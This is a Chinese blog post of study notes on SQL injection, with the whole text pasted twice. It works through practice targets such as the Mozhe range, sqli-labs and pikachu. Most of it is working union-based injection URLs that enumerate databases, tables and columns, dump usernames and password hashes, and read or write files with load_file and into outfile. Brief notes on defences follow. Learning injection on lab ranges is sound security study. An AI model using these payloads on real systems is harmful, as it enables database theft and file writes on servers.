SQL注入--乱记

注入原理

可控变量,带入数据库查询,变量未存在过滤或过滤不严谨。

 

数据库类型

Access

MySQL

1.信息收集

  • 操作系统--@@version_compile_os-- Linux

  • 数据库名--database() -- mozhe_Discuz_StormGroup

    • 数据库用户--user()-- root@localhost

  • 数据库版本--version() -- 5.7.22-0ubuntu0.16.04.1

  • 其他(网站路径等)

    墨者靶场

    http://219.153.49.228:45531/new_list.php?id=1

    判断显示位
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,2,3,4

    获取当数据库操作系统和当前连接数据库的用户
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,@@version_compile_os,user(),4

    查询指定数据库下的表名信息
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
    --返回StormGroup_member

    1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

    查询表的列名
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
    --返回id,name,password,status

    查询name和password
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
    --返回mozhe/0122d1307bbd43fe647b67d9ae6d9ac5md5解密得到559235

    優しい

2.数据注入

  • 低版本--暴力查询或结合读取查询

  • 高版本--information_schema有据查询

    在MySQL5.0以上版本存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表明,列名的数据库,可以通过查询它获取指定数据库下的表明,列名信息。

    information_schema.tables;记录所有表名信息的表。

    information_schema.columns;记录所有列名信息的表。

    table_name;表名

    column_name;列名

    table_schema;数据库名

    垮库查询及应用思路
    information_schema表特性,记录库名,表名,列名对应表。

    获取所有数据库名
    http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

    获取指定数据库名pikachu的表名信息
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

    获取pikachu库下users表名的列名信息
    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
    --id,username,password,level--

    获取users表的列名信息
    union select 1,username,password from pikachu.users

     

3.高权限注入

  • 常规查询

  • 跨库查询--利用注入进行跨数据库查询

  • 文件读写--利用注入进行文件读取或写入

    load_file();读取函数

    union select 1,load_file('d:/www.TXT'),3

    into outfile 或 into dumpfile ;导出函数

    union select 1,'x',3 into outfile'd:/aaa.txt's--+

    路径获取常见方法

    报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

 

相关防注入:

自带防御:魔术引号,phpstudy参数设置 magic_quotes_gpc , 输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。

内置函数:int等,判断参数返回类型是否int型。

自定义关键字:select,替换函数把select关键字换成fuck,查询语句变成“union fuck 1,2,3”

WAF防护软件:安全狗,宝塔等。

注入原理

可控变量,带入数据库查询,变量未存在过滤或过滤不严谨。

 

数据库类型

Access

MySQL

1.信息收集

  • 操作系统--@@version_compile_os-- Linux

  • 数据库名--database() -- mozhe_Discuz_StormGroup

    • 数据库用户--user()-- root@localhost

  • 数据库版本--version() -- 5.7.22-0ubuntu0.16.04.1

  • 其他(网站路径等)

    墨者靶场

    http://219.153.49.228:45531/new_list.php?id=1

    判断显示位
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,2,3,4

    获取当数据库操作系统和当前连接数据库的用户
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,@@version_compile_os,user(),4

    查询指定数据库下的表名信息
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
    --返回StormGroup_member

    1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

    查询表的列名
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
    --返回id,name,password,status

    查询name和password
    http://219.153.49.228:45531/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
    --返回mozhe/0122d1307bbd43fe647b67d9ae6d9ac5md5解密得到559235

    優しい

2.数据注入

  • 低版本--暴力查询或结合读取查询

  • 高版本--information_schema有据查询

    在MySQL5.0以上版本存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表明,列名的数据库,可以通过查询它获取指定数据库下的表明,列名信息。

    information_schema.tables;记录所有表名信息的表。

    information_schema.columns;记录所有列名信息的表。

    table_name;表名

    column_name;列名

    table_schema;数据库名

    垮库查询及应用思路
    information_schema表特性,记录库名,表名,列名对应表。

    获取所有数据库名
    http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

    获取指定数据库名pikachu的表名信息
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

    获取pikachu库下users表名的列名信息
    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
    --id,username,password,level--

    获取users表的列名信息
    union select 1,username,password from pikachu.users

     

3.高权限注入

  • 常规查询

  • 跨库查询--利用注入进行跨数据库查询

  • 文件读写--利用注入进行文件读取或写入

    load_file();读取函数

    union select 1,load_file('d:/www.TXT'),3

    into outfile 或 into dumpfile ;导出函数

    union select 1,'x',3 into outfile'd:/aaa.txt's--+

    路径获取常见方法

    报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

 

相关防注入:

自带防御:魔术引号,phpstudy参数设置 magic_quotes_gpc , 输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。

内置函数:int等,判断参数返回类型是否int型。

自定义关键字:select,替换函数把select关键字换成fuck,查询语句变成“union fuck 1,2,3”

WAF防护软件:安全狗,宝塔等。

posted @ 2021-05-11 11:35  雨后青提  阅读(118)  评论(0)    收藏  举报